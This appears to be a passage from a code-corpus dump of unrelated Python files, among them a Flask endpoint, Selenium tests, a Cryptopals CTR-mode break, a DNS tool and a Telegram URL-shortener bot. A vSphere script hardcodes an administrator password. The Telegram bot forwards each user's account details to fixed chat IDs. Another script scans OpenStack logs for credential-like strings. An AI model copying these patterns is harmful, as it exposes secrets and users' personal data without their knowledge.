main()","sub_path":"script/plt_brightness_ts.py","file_name":"plt_brightness_ts.py","file_ext":"py","file_size_in_byte":7097,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"422397376","text":"import os\nfrom flask_restplus import Resource, reqparse\n\nfrom insight.util.json_read_write import load_json\nfrom insight.service.dto import NaDto as DTO\n\nabs_path = os.path.abspath('.')\npath_to_file = os.path.join(abs_path, \"config/_swagger.json\")\nswagger_data = load_json(path_to_file)\n\nDATA = swagger_data['impl_network_architecture']\n\nna_api = DTO.api\nna_model = DTO.model\n\n\n@na_api.route('')\n@na_api.param('network_id', 'The numerical network ID')\nclass ImplLongPV(Resource):\n @na_api.marshal_with(na_model)\n @na_api.response(400, 'Bad Request -- Publisher required')\n def get(self):\n parser = reqparse.RequestParser()\n parser.add_argument('network', type=int, location='args')\n args = parser.parse_args()\n print('args', args)\n\n return DATA","sub_path":"insight/controller/impl_network_architecture.py","file_name":"impl_network_architecture.py","file_ext":"py","file_size_in_byte":788,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"552317650","text":"\"\"\"\nClass: Utility functions for GIS scripts\nAuthor: Colin Stief\n\n\"\"\"\nimport os\n\ndef horde_files(directory, file_types):\n \"\"\"\n Create a dictionary of files of a specific type from a directory\n Each entry is a key value pair of the filename and the complete path\n \"\"\"\n\n ## Create an empty dictionary\n file_list = {}\n\n ## Loop through given directory and grab all the files with the given extensions\n for root, dirs, files in os.walk(directory):\n for name in files:\n \n ## Set to lowercase \n name = name.lower()\n\n ## Check if the extension matches one of the extensions provided\n if any(name[name.rfind(\".\"):len(name)][1:] in file_type for file_type in file_types):\n\n ## Strip the last part\n raw_name = name[:name.rfind(\".\")]\n\n ## Remove weird characters from name and set to lowercase\n clean_name = ''.join(char for char in raw_name if char.isalnum()).lower()\n \n ## Get the full path\n full_file_path = os.path.join(root, name)\n file_list[clean_name] = full_file_path\n\n ## Return the completed dictionary\n return file_list\n","sub_path":"python/gis/gdal-ogr/GeoUtils.py","file_name":"GeoUtils.py","file_ext":"py","file_size_in_byte":1232,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"107852534","text":"# -*- coding: utf-8 -*-\n\"\"\"\nBite 166. Complete a tox ini file parser class\n\"\"\"\nimport configparser\n\n\nclass ToxIniParser:\n\n def __init__(self, ini_file):\n \"\"\"Use configparser to load ini_file into self.config\"\"\"\n self.config = configparser.ConfigParser()\n self.config.read(ini_file)\n \n\n @property\n def number_of_sections(self):\n \"\"\"Return the number of sections in the ini file.\n New to properties? -> https://pybit.es/property-decorator.html\n \"\"\"\n sections = self.config.sections()\n return len(sections)\n\n @property\n def environments(self):\n \"\"\"Return a list of environments\n (= \"envlist\" attribute of [tox] section)\"\"\"\n env_txt = self.config[\"tox\"][\"envlist\"]\n env_lst_raw = env_txt.strip().replace(\"\\n\",\",\").split(\",\")\n env_lst = [x.strip() for x in env_lst_raw if x != \"\"]\n return env_lst\n\n @property\n def base_python_versions(self):\n \"\"\"Return a list of all basepython across the ini file\"\"\"\n sections = self.config.sections()\n bp_set = set()\n for section in sections:\n if \"basepython\" in self.config[section]:\n bp = self.config[section][\"basepython\"]\n bp_set.add(bp)\n return list(bp_set)\n","sub_path":"challenges/pybites/bite_166.py","file_name":"bite_166.py","file_ext":"py","file_size_in_byte":1301,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"249473830","text":"import media\nimport fresh_tomatoes\n\ntoy_story = media.Movie(\"Toy Story\", \"A story of a boy and his toys that come to life\",\n \"https://upload.wikimedia.org/wikipedia/en/1/13/Toy_Story.jpg\",\n \"https://www.youtube.com/watch?v=lo_VGCi41J4\")\n\navatar = media.Movie(\"Avatar\", \"A story of marine on an alien planet\",\n \"https://upload.wikimedia.org/wikipedia/en/b/b0/Avatar-Teaser-Poster.jpg\",\n \"https://www.youtube.com/watch?v=d1_JBMrrYw8\")\n\nrevenant = media.Movie(\"Revenant\", \"Revenge movie\",\n \"https://upload.wikimedia.org/wikipedia/en/b/b6/The_Revenant_2015_film_poster.jpg\",\n \"https://www.youtube.com/watch?v=LoebZZ8K5N0\")\n\nthree_idiots = media.Movie(\"3 Idiots\", \"Two friends are searching for their long lost companion\",\n \"https://upload.wikimedia.org/wikipedia/en/d/df/3_idiots_poster.jpg\",\n \"https://www.youtube.com/watch?v=xvszmNXdM4w\")\n\ngladiator = media.Movie(\"Gladiator\", \"A story of marine on an alien planet\",\n \"https://upload.wikimedia.org/wikipedia/en/8/8d/Gladiator_ver1.jpg\",\n \"https://www.youtube.com/watch?v=AxQajgTyLcM\")\n\nairplane = media.Movie(\"Airplane\", \"Revenge movie\",\n \"https://upload.wikimedia.org/wikipedia/en/f/f5/Airplane%21.jpg\",\n \"https://www.youtube.com/watch?v=qaXvFT_UyI8\")\n\nmovies = [toy_story, avatar, revenant, three_idiots, gladiator, airplane]\nfresh_tomatoes.open_movies_page(movies)","sub_path":"media/entertainment.py","file_name":"entertainment.py","file_ext":"py","file_size_in_byte":1567,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"216450080","text":"\nfuncts = dict()\ninstructions = dict()\n\nrep[\"REGFILE_PATH\"] = \"\\\"Y://Course/COLabs/lab3/test/RegFile_init(1).vec\\\"\"\n\ndef defparam(end=\"\", comment=\"\"):\n defparam_struct(\"Signal_t\")\n wr(\"\"\"parameter REG_W = 5,\nparameter WIDTH = 32,\nparameter FUNCT_W = 6,\nparameter OPCODE_W = 6,\nparameter ALUOP_W = 4{end}\"\"\")\nrep[\"[Opcode]\"] = \"[31:26]\"\nrep[\"[Funct]\"] = \"[5:0]\"\nrep[\"[Imm]\"] = \"[15:0]\"\nrep[\"[Rs]\"] = \"[25:21]\"\nrep[\"[Rt]\"] = \"[20:16]\"\nrep[\"[Rd]\"] = \"[15:11]\"\nrep[\"[Addr]\"] = \"[25:0]\"\nrep[\"[Shamt]\"] = \"[10:6]\"\nrep[\"Opcode\"] = \"[OPCODE_W-1:0]\"\nrep[\"Word\"] = \"[WIDTH-1:0]\"\nrep[\"RegId\"] = \"[REG_W-1:0]\"\nrep[\"ALUop\"] = \"[ALUOP_W-1:0]\"\nrep[\"Funct\"] = \"[FUNCT_W-1:0]\"\nrep[\"Addr\"] = \"[MEM_ADDR_WIDTH-1:0]\"","sub_path":"lab4/src/marilog/logic/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":702,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"187969741","text":"import time\nimport pytest\nfrom pages.green_kart.green_kart_page import GreenKartPage\nfrom utilities.teststatus import TestStatus\nimport unittest\nfrom ddt import ddt, data, unpack\nfrom utilities.readdata import getCSVData\n\n@pytest.mark.usefixtures(\"oneTimeSetUp\", \"setUp\")\n@ddt\nclass Green_Kart_csv_tests(unittest.TestCase):\n\n @pytest.fixture(autouse=True)\n def classSetUp(self, oneTimeSetUp):\n self.gp = GreenKartPage(self.driver)\n self.ts = TestStatus(self.driver)\n\n @pytest.mark.run(order=1)\n @data(*getCSVData(\"testdata.csv\"))\n @unpack\n def test_gk_shopping_page(self, search_item, promo_code):\n self.gp.green_kart_page()\n time.sleep(3)\n result1 = self.gp.verify_title()\n # Assert result and mark in the list\n self.ts.mark(result1, \"Title is incorrect\")\n\n # To test Search\n self.gp.search_product(search_item)\n\n # To test add to cart\n time.sleep(3)\n self.gp.go_to_cart()\n result2 = self.gp.verify_product_list()\n self.ts.mark(result2, \"Count mismatch\")\n\n # @pytest.mark.run(order=2)\n # @data(\"rahulshettyacademy\")\n # @unpack\n # def test_promo_code(self, promo_code):\n # To test promo code\n self.gp.promo_code(promo_code)\n result3 = self.gp.verify_promo_code_success()\n self.ts.mark(result3, \"Promo code invalid\")\n\n @pytest.mark.run(order=3)\n def test_total_amount(self):\n result4 = self.gp.verify_total_amount()\n self.ts.markFinal(\"Total amount matched\", result4, \"Total amount not equal\")\n","sub_path":"tests/green_kart/green_kart_csv_data.py","file_name":"green_kart_csv_data.py","file_ext":"py","file_size_in_byte":1585,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"251027410","text":"import sys\nimport java.net.URL as URL;\nimport com.vmware.vim25.VirtualMachineMovePriority as VirtualMachineMovePriority\nimport com.vmware.vim25.mo as mo\n\nurl = URL('https://%s/sdk' % '172.16.10.102')\nservice = mo.ServiceInstance(url, 'administrator', 'temp123$', True)\nsc = service.getServiceContent()\nrootME = mo.util.MorUtil.createExactManagedEntity(service.serverConnection, sc.rootFolder)\ninvNav = mo.InventoryNavigator(rootME)\n\nhost = invNav.searchManagedEntity('HostSystem', 'cluster5.reflex')\nif host is None:\n print >>sys.stderr, \"could not locate host\"\nvm = invNav.searchManagedEntity('VirtualMachine', 'mcafee dhcp server')\nif vm is None:\n print >>sys.stderr, \"VirtualMachine is NOT correct.\"\n# return False\n\ntask = vm.migrateVM_Task(None, host, VirtualMachineMovePriority.highPriority, None )\ntask.waitForMe()\n","sub_path":"jython/migrateVM.py","file_name":"migrateVM.py","file_ext":"py","file_size_in_byte":830,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"476394875","text":"import Utils.settings as settings\nimport pyautogui\nimport logging\n\nfrom Utils.tsubasa_window import TsubasaWindow\nfrom Utils.singleton import LOCKER\n\n\ndef main(window, *args, **kwargs):\n \"\"\"\n 挑戰之路\n :return:\n \"\"\"\n\n 賽程選擇(window)\n\n\n if 遊戲模式(window, \"單人挑戰模式\"):\n # wait for loading...\n return\n\n 選擇好友(window)\n if 選擇隊伍(window, **kwargs):\n # wait for loading...\n return\n\n\ndef 遊戲模式(window, mode):\n if window.find_image(\"請選擇想要的模式\"):\n return window.click_on_image(f\"{mode}_L\") \\\n or window.click_on_image(f\"{mode}_S\")\n else:\n return False\n\n\ndef 選擇好友(window: TsubasaWindow):\n logging.info(\"@選擇好友\")\n if window.find_image(\"TITLE_選擇好友\", settings.TITLE_REGION, confidence=0.9):\n window.click_at((150, 150), delay=0.5)\n\n\ndef 選擇隊伍(window: TsubasaWindow, team_name=None, **kwargs):\n logging.info(\"@選擇隊伍 : %s\", team_name)\n if window.find_image(\"TITLE_選擇隊伍\", settings.TITLE_REGION, confidence=0.9):\n # setup team.....\n\n window.click_at((650, 370), delay=1)\n if window.click_on_image(\"挑戰之路/BTN_速效編組\", delay=15):\n window.click_on_image(\"挑戰之路/BTN_取代\", delay=2)\n window.click_on_image(\"挑戰之路/BTN_BACK\", delay=10)\n window.click_at((650, 370), delay=1)\n\n window.click_on_image(\"game/BTN_直接比賽\")\n return True\n else:\n return False\n\n\n\ndef 賽程選擇(window: TsubasaWindow):\n \"\"\"\n 找到要參與的比賽項目。\n \"\"\"\n\n logging.info(\"%s@挑路賽程選擇\", window.title)\n\n if window.find_image('TITLE_挑戰之路', settings.TITLE_REGION, confidence=0.8):\n logging.info(\"@挑路賽程細項\")\n has_to_play_btn = window.find_image('ToPlay_large')\n # 找可選的比賽項目:\n if not has_to_play_btn:\n # 找到第一項未完成的普通賽程,並點選,之後會到 ToPlay\n window.click_at((330,125), delay=1)\n window.click_on_image('ToPlay_large', delay=2)\n","sub_path":"Challenge_events.py","file_name":"Challenge_events.py","file_ext":"py","file_size_in_byte":2161,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"544946872","text":"import click\nimport pathlib\nimport pandas as pd\nfrom datetime import datetime\n\nfilename_template = 'PersonList*.csv'\n\n\n@click.command()\n@click.option('--dirname', required=True, type=str)\n@click.option('--outputfile', required=True, type=str)\ndef ingest_files(**kwargs):\n dir_name = kwargs['dirname']\n output_file = kwargs['outputfile']\n previous_df = read_output_file_or_empty(output_file)\n\n dirpath = pathlib.Path(dir_name)\n files = list(dirpath.glob(filename_template))\n combined_df = process_files(previous_df, files)\n combined_df.to_csv(output_file, encoding='utf_8_sig')\n\n\ndef read_output_file_or_empty(filename):\n try:\n output_df = pd.read_csv(\n filename, header=0, index_col=0, encoding='utf_8_sig',\n error_bad_lines=None)\n # output_df.loc[:, 'Time'] = pd.to_datetime(output_df['Time'])\n except Exception as e:\n output_df = pd.DataFrame()\n\n return output_df\n\n\ndef read_regular_file_to_dataframe(file):\n # Read the beginning of the file, only metadata\n df = pd.read_csv(\n str(file), sep=' ', header=None, encoding='utf_8_sig',\n error_bad_lines=None, skiprows=(lambda x: x > 5), on_bad_lines='skip')\n\n # Convert the two fields into one datetime\n test_time = df.iloc[2, 2]\n test_date = df.iloc[2, 3].split(',')[0]\n full_time = test_date + ' ' + test_time\n time = datetime.strptime(full_time, '%d.%m.%Y %H:%M')\n\n test_no = df.iloc[1, 3].split(',')[0]\n\n # Read the rest of the file, table of results\n df = pd.read_csv(str(file), header=4, encoding='utf_8_sig').dropna()\n df = df.drop(columns=[' ']) # Don't know why there's an extra column named \" \"\n df.insert(0, 'Time', time)\n df.insert(1, 'TestNo', test_no)\n df.columns = [c.strip() for c in df.columns]\n return df\n\n\ndef process_files(previous_df, filenames):\n dfs = [previous_df]\n for f in filenames:\n file_df = read_regular_file_to_dataframe(f)\n dfs.append(file_df)\n # Combine all to one dataframe\n df = pd.concat(dfs, ignore_index=True)\n\n # Convert all columns from object to string (except Time)\n for col in (set(df.columns)):\n df.loc[:, col] = df[col].convert_dtypes().astype('string').str.strip()\n df.loc[:, 'Time'] = pd.to_datetime(df['Time'])\n df = df.drop_duplicates(subset=['שם הבדיקה', 'תוצאה', 'TestNo'])\n df = (df\n .sort_values(by=['שם הבדיקה', 'Time'])\n .reset_index(drop=True) # .drop('index', axis=1)\n )\n return df\n\n\nif __name__ == \"__main__\":\n print('starting')\n ingest_files()\n","sub_path":"ingest_clalit.py","file_name":"ingest_clalit.py","file_ext":"py","file_size_in_byte":2590,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"334178007","text":"from base64 import b64decode\nfrom os import urandom\n\nfrom p18 import aes_ctr\n\n\ndef _char_val(char):\n common_letters = 'etaoinshr'\n # weigh letters higher than special chars and digits\n if chr(char) in common_letters:\n return 5\n elif char >= ord('a') and char <= ord('z') or chr(char) == ' ':\n return 3\n elif char >= ord('A') and char <= ord('Z') or chr(char) in ',.':\n return 1\n else:\n return -1\n\n\ndef get_key(byts):\n best_key, count = 0, 0\n\n for key_byte in range(0xff + 1):\n score = 0\n\n for b in byts:\n if b == '':\n continue\n score += _char_val(ord(b) ^ key_byte)\n\n if score > count:\n best_key = key_byte\n count = score\n\n return chr(best_key)\n\n\ndef p19():\n key = urandom(16)\n ctxts = []\n\n with open('Data/19.txt') as f:\n for line in f.readlines():\n ptxt = b64decode(line)\n ctxts.append(aes_ctr(ptxt, key, 0))\n\n keystream = ''\n for i in range(max(map(len, ctxts))):\n keystream += get_key([(c[i] if i < len(c) else '') for c in ctxts])\n\n ptxt = ''\n for ctxt in ctxts:\n raw = [chr(ord(c) ^ ord(k)) for (c, k) in zip(ctxt, keystream)]\n ptxt += ''.join(raw) + '\\n'\n\n return ptxt[:-1]\n\n\ndef main():\n from main import Solution\n return Solution('19: Break fixed-nonce CTR mode using substitions', p19)\n","sub_path":"p19.py","file_name":"p19.py","file_ext":"py","file_size_in_byte":1411,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"239924364","text":"from graph import Graph\r\n\r\ndef has_cycle_helper(graph):\r\n\r\n visited = set()\r\n candidates = [(0, None)]\r\n\r\n while len(candidates) > 0:\r\n\r\n curr, parent = candidates.pop()\r\n\r\n if curr in visited:\r\n return True\r\n\r\n for adj, weight in graph.adjacency_list[curr]:\r\n if adj != parent:\r\n candidates.append((adj, curr))\r\n\r\n return False\r\n","sub_path":"misc/has_cycle.py","file_name":"has_cycle.py","file_ext":"py","file_size_in_byte":400,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"241587266","text":"\"\"\" dnsproj.py\r\n\r\nAuthor: Anthony Panisales\r\n\r\n- Finds DNS resource records from a domain name\r\n\r\n- Finds the hostname of an IP address\r\n\r\n- Example usage: python dnsproj.py -a yahoo.com\r\n\r\n- Example usage: python dnsproj.py -p 8.8.8.8\r\n\r\n- Code for DNS queries inspired by this source:\r\n https://www.adampalmer.me/iodigitalsec/2014/11/21/performing-dns-queries-python/\r\n\r\n\"\"\"\r\n\r\nfrom __future__ import print_function\r\nfrom future.utils import python_2_unicode_compatible\r\nimport argparse\r\nimport dns.resolver\r\n\r\ndef queryDNS(resRecType, domainName):\r\n print(\"\\t\" + resRecType)\r\n print(\"-----------------\")\r\n myResolver = dns.resolver.Resolver()\r\n myAnswers = myResolver.query(domainName, resRecType)\r\n for rdata in myAnswers:\r\n print(rdata)\r\n\r\ndef queryAllTypes(domainName):\r\n rrTypes = [\"A\", \"MX\", \"NS\", \"TXT\"]\r\n for rrType in rrTypes:\r\n queryDNS(rrType, domainName)\r\n print(\"\\n\")\r\n\r\nif __name__ == '__main__':\r\n parser = argparse.ArgumentParser()\r\n parser.add_argument('-a', '--address', default=False, help=\"Finds (address record) resource records\")\r\n parser.add_argument('-m', '--mx', default=False, help=\"Finds (mail exchange record) resource records\")\r\n parser.add_argument('-n', '--ns', default=False, help=\"Finds (name server record) resource records\")\r\n parser.add_argument('-t', '--txt', default=False, help=\"Finds (text record) resource records\")\r\n parser.add_argument('-e', '--entire', default=False, help=\"Finds all types of resource records available in this program\")\r\n parser.add_argument('-p', '--ptr', default=False, help=\"Finds the hostname of an IP address\")\r\n args = parser.parse_args()\r\n try:\r\n if args.address is not False:\r\n queryDNS(\"A\", args.address)\r\n elif args.mx is not False:\r\n queryDNS(\"MX\", args.mx)\r\n elif args.ns is not False:\r\n queryDNS(\"NS\", args.ns)\r\n elif args.txt is not False:\r\n queryDNS(\"TXT\", args.txt)\r\n elif args.entire is not False:\r\n queryAllTypes(args.entire)\r\n elif args.ptr is not False:\r\n queryDNS(\"PTR\", '.'.join(reversed(args.ptr.split(\".\"))) + \".in-addr.arpa\")\r\n else:\r\n parser.print_help()\r\n except:\r\n print(\"Query failed\")\r\n","sub_path":"dnsproj.py","file_name":"dnsproj.py","file_ext":"py","file_size_in_byte":2288,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"339857912","text":"#!/usr/bin/python3\nimport Nova as d\nimport nltk\nimport string\nimport pickle\nimport os\nimport time\nimport sys\nimport paramiko\nimport pandas as pd\nimport hashlib\nimport csv\nimport requests\n\nfrom os import path\nfrom nltk.tokenize import word_tokenize\nfrom nltk.probability import FreqDist\n\nhome_path ='/seclog/'\ntempfile_path = '/Seclog-Django/seclogproject/pix/pixapp/templates/'\nopfile_path = tempfile_path + 'output_nova.txt'\nnovalog = ['nova_api','nova_manage','nova_novncproxy','nova_api-os-compute','nova_placement-api','nova_xvpvncproxy','nova_consoleauth','nova_console','nova_scheduler','nova_conductor']\n\nwith open (opfile_path, 'w+') as gen:\n\tgen.write('start')\n\nstring.cap='ABCDEFGHIJKLMNOPQRSTUVWXYZ'\nstring.spl='~!@#$%^&*()_+-=\\|]}[{:;<>,./?'\nstring.num='0123456789'\nck_size = 512 * 1024 * 1024\nhashflag = 0\nline_no1 = 1\nline_no2 = 0\n\ncolnames1=['uname','host']\ncolnames2=['hash_value','pos']\ndf1 = pd.read_csv('/seclog/data.csv',names=colnames1)\ndf2 = pd.read_csv('/seclog/hashandpos.csv',names=colnames2)\nhashl = df2.hash_value.tolist()\nposl = df2.pos.tolist()\nunamel = df1.uname.tolist()\nhostl = df1.host.tolist()\nfin1 = open(home_path + 'hashandpos.csv','r+')\n\nfor i in range(1,len(hostl)):\n fh = []\n file1 = []\n file2 = []\n host=str(hostl[i])\n uname=str(unamel[i])\n line_no1 = 15 \n \n for logfile in novalog:\n s= requests.Session()\n link = 'http://192.168.0.200:8080/'\n r = s.get(link+'?host_name='+host+'&log_namein='+logfile)\n g = r.text\n fh = open('/seclog/inter.txt','w+')\n fh.seek(0)\n fh.write(g)\n if (hashl[line_no1] == '0' and posl[line_no1] == '0'):\n postemp=posl[line_no1]\n m1 = hashlib.md5()\n fh.seek(0)\n while True:\n buf = fh.read(ck_size) \n if not buf:\n break\n buf = str(buf)\n m1.update(buf.encode('utf-8'))\n new_md5_sum = m1.hexdigest()\n hashl[line_no1] = (new_md5_sum)\n posl[line_no1] = int(fh.tell())\n line_no1+=1\n fh.seek(int(postemp))\n\n else:\n old_pos = int(posl[line_no1])\n old_md5_sum = hashl[line_no1] \n m2 = hashlib.md5()\n fh.seek(0)\n while True:\n buf = fh.read(ck_size)\n if not buf:\n break\n buf = str(buf)\n m2.update(buf.encode('utf-8'))\n new_md5_sum = m2.hexdigest()\n new_pos = fh.tell()\n \n m3 = hashlib.md5()\n fh.seek(0)\n if old_pos < ck_size: \n buf = fh.read(old_pos)\n buf = str(buf)\n m3.update(buf.encode('utf-8'))\n else:\n while (old_pos-fh.tell()) >= ck_size:\n buf = fh.read(ck_size)\n buf = str(buf)\n m3.update(buf.encode('utf-8'))\n buf = fh.read(old_pos-fh.tell())\n buf = str(buf)\n m3.update(buf.encode('utf-8'))\n check_md5_sum = m3.hexdigest()\n \n if old_md5_sum == str(check_md5_sum):\n hashl[line_no1] = str(new_md5_sum)\n posl[line_no1] = str(new_pos)\n line_no1+=1\n fh.seek(int(old_pos))\n else:\t\n fh.seek(int(old_pos))\t\t\n hashflag = 1\n line_no1+=1 \n\n output = open(home_path + 'nov_check.txt','w+')\n\n if hashflag == 0:\n output.write('hash verified')\n tokens1 = []\n tokens = []\n tokensv = []\n tokensn = []\n temp = []\n final= []\n \n for line in fh:\n tokenst = line.split()\n tokens1.extend(tokenst)\n tokens = list(FreqDist(tokens1))\n \n fh.truncate()\n \n for word in tokens:\n if word not in d.tokens:\n tokensv.append(word)\n else:\n continue\n for words in tokensv:\n tokensn.append(d.generate_ngrams(words,3,1))\n i=0\n dout = []\n for word in tokensn:\n dout = d.detect_mod(word)\n if dout[0] == 'pos':\n temp.append(tokensv[i])\n i=i+1\n else:\n continue\n for word in temp:\n a=0\n b=0 \n c=0 \n for i in range(len(word)):\n if word[i] in string.cap:\n a=1\n if word[i] in string.num:\n b=1\n if word[i] in string.spl:\n c=1\n if a==1 and b==1 and c==1:\n final.append(word)\n with open (opfile_path, 'a+') as gen:\n gen.write('\\nIn '+uname+'@'+host+' nova '+logfile+' :\\n')\n if not final:\n\t gen.write('No credentials detected')\n else:\n gen.write('\\n'.join(str(word) for word in final))\n\n else:\n output.write('Hash verification failed')\n output.close()\n\nwr = csv.writer(fin1)\nwr.writerows(zip(hashl,posl))\n\nwith open (opfile_path, 'a+') as gen:\n gen.write('\\nend')\n\nfin1.close()\n\n\n","sub_path":"novafeedcpy.py","file_name":"novafeedcpy.py","file_ext":"py","file_size_in_byte":5503,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"111114658","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport sqlite3\nfrom telegram.ext import Updater\nfrom telegram.ext import CommandHandler\nfrom telegram.ext import MessageHandler, Filters\nfrom datetime import datetime\nimport logging\nfrom MyBotFatherToken import myBotFatherToken\nimport urllib.request\nimport urllib.parse\nfrom random import random\nwelcome_text = \"\\\nبا سلام\\\n\\n \\\nبه تلگرام کوتاه کننده لینک خوش آمدید.\\\n\\n \\\nhttp://t.me/shorturlrobot \\\n\\n \\\nاین پروژه اولین رباتی هست که نوشتم و روی رسپبری پای من داره کار میکنه\\\n\\n \\\nاگه خودتون هم دوست دارید باتتون رو راه اندازی کنید آموزش آدرس زیر رو ببینید \\\n\\n \\\nhttps://t.me/WayIsee/49 \\\n\\n \\\nبا تشکر از ابراهیم پارسایی بابت سایت کوتاه کننده لینکشون \\\nبرای استفاده از بات آدرس سایت و لینک درخواستی رو بدید مثال: \\\n\\n \\\nhttp://sae13.ir/archives/577 cpluslearning \\\n\\n \\\nبه شما آدرس کوتاه به صورت \\\n\\n \\\nhttp://a4l.ir/cpluslearning \\\n\\n \\\nمیده. \\\nارتباط با من: \\\n\\n \\\n@saeb_m \\\n\\n \\\nارتباط با ابراهیم پارسایی: \\\n\\n \\\n@SpiDeRBoY \\\n\\n \\\nمشاهده سورس بات در گیت‌هاب: \\n \\\nhttp://a4l.ir/git\"\ndef start(bot, update):\n bot.sendMessage(chat_id=update.message.chat_id, text=welcome_text)\n\ndef url(longurl, custom):\n url = \"http://a4l.ir/shorten/\"\n values = {'url' : longurl,\n 'custom' : custom,\n }\n\n data = urllib.parse.urlencode(values)\n data = data.encode('ascii') # data should be bytes\n req = urllib.request.Request(url, data)\n with urllib.request.urlopen(req) as response:\n the_page = response.read()\n return the_page\n\ndef getCm(bot, update):\n userInfo = update.message.chat\n userMessage = update.message.text\n userMessageSplited = userMessage.split()\n if len(userMessageSplited) == 1:\n rand = list(str(random()))\n randNum = ''.join(rand[3:9])\n userMessageSplited.append(randNum)\n longurl_data = userMessageSplited[0]\n custom_link = userMessageSplited[1]\n req = url(longurl_data,custom_link)\n shorturl = str(req)[42:-3]\n userId = userInfo['id']\n userName = userInfo['username']\n userFirstName = userInfo['first_name']\n userLastName = userInfo['last_name']\n cn = sqlite3.connect(\"zthdb.sqlite\")\n cn.execute(\"PRAGMA ENCODING = 'utf8';\")\n cn.text_factory = str\n cn.execute(\"CREATE TABLE IF NOT EXISTS user_comment(u_id MEDIUMINT,\\\n u_name VARCHAR(100), u_first_name VARCHAR(100),\\\n u_last_name VARCHAR(100), u_comment TEXT, u_time DATETIME);\")\n cn.execute(\"INSERT INTO user_comment VALUES (?, ?, ?, ?, ?, ?);\",\\\n (userId, userName, userFirstName, userLastName,\\\n userMessage, datetime.now()))\n cn.commit()\n cn.close()\n bot.sendMessage(chat_id=update.message.chat_id,\n text=\"http://a4l.ir/{}\"\\\n .format(shorturl))\n bot.sendMessage(chat_id=245549956,text=\"{}\\n http://a4n.ir/{}\"\\\n .format(userInfo, shorturl))\n bot.sendMessage(chat_id=25505861,text=\"{}\\n http://a4n.ir/{}\"\\\n .format(userInfo, shorturl))\n\ndef unknown(bot, update):\n bot.sendMessage(chat_id=update.message.chat_id, text=\"Unknown Command!\")\n\n\nupdater = Updater(token=myBotFatherToken)\ndispatcher = updater.dispatcher\n\nlogging.basicConfig(format='%(asctime)s - %(name)s - %(levelname)s -\\\n %(message)s', level=logging.INFO)\n\nstart_handler = CommandHandler('start', start)\ndispatcher.add_handler(start_handler)\n\ncm_handler = MessageHandler([Filters.text], getCm)\ndispatcher.add_handler(cm_handler)\n\nunknown_handler = MessageHandler([Filters.command], unknown)\ndispatcher.add_handler(unknown_handler)\nupdater.start_polling()\nupdater.idle()\nupdater.stop()\n","sub_path":"telegrambot.py","file_name":"telegrambot.py","file_ext":"py","file_size_in_byte":3853,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"424401579","text":"import hashlib as hasher\nimport datetime as date\nimport time\nfrom network import data\n\nclass Block:\n def __init__(self, index, timestamp, data, perv_has):\n self.index = index\n self.timestamp = timestamp\n self.data = data\n self.prev_hash = perv_has\n self.hash = self.hash_block()\n def hash_block(self):\n sha = hasher.sha256()\n sha.update(str(self.index).encode('utf-8') + str(self.timestamp).encode('utf-8') + str(self.data).encode('utf-8')\n + str(self.prev_hash).encode('utf-8'))\n return sha.hexdigest()\ndef create_genesis_block():\n return Block(0, date.datetime.now(), \"Gen Block\", \"0\")\n\ndef next_block(last_block, data):\n this_index = last_block.index + 1\n this_timestamp = date.datetime.now()\n this_data = str(data) + \" \" + str(this_index)\n this_hash = last_block.hash\n return Block(this_index, this_timestamp, this_data, this_hash)\n\n\nif __name__ == '__main__':\n print(\"Creating Blockchain!\\n\")\n blockchain = [create_genesis_block()]\n prev_block = blockchain[0]\n\n num_block=len(data)\n\n for i in range(num_block):\n block_to_add = next_block(prev_block, data[i])\n blockchain.append(prev_block)\n prev_block = block_to_add\n time.sleep(2)\n print(\"Block #{} has been added\\n\".format(block_to_add.index))\n print(\"Block data: {}\\n\".format(block_to_add.data))\n print(\"Hash: {}\\n\".format(block_to_add.hash))\n print(\"*************************************************************************\\n\")\n","sub_path":"Blockchain-1.py","file_name":"Blockchain-1.py","file_ext":"py","file_size_in_byte":1557,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"453936179","text":"import glob\nimport os\nimport re\nimport shutil\nimport sqlite3\nfrom datetime import datetime\nfrom typing import Any, Dict, List, Optional\n\nimport papis.yaml\nimport papis.config\nimport papis.bibtex\nimport papis.strings\nimport papis.document\nimport papis.logging\n\nimport papis_zotero.utils\n\nlogger = papis.logging.get_logger(__name__)\n\n# separator between multiple tags\n# FIXME: this should be handled by papis\nZOTERO_TAG_DELIMITER = \" \"\n\n# fuzzy date matching\nISO_DATE_RE = re.compile(r\"(?P\\d{4})-?(?P\\d{2})?-?(?P\\d{2})?\")\n\n\nZOTERO_QUERY_ITEM_FIELD = \"\"\"\nSELECT\n fields.fieldName,\n itemDataValues.value\nFROM\n fields,\n itemData,\n itemDataValues\nWHERE\n itemData.itemID = ? AND\n fields.fieldID = itemData.fieldID AND\n itemDataValues.valueID = itemData.valueID\n\"\"\"\n\n\ndef get_fields(connection: sqlite3.Connection, item_id: str) -> Dict[str, str]:\n \"\"\"\n :arg item_id: an identifier for the item to query.\n :returns: a dictionary mapping fields to their 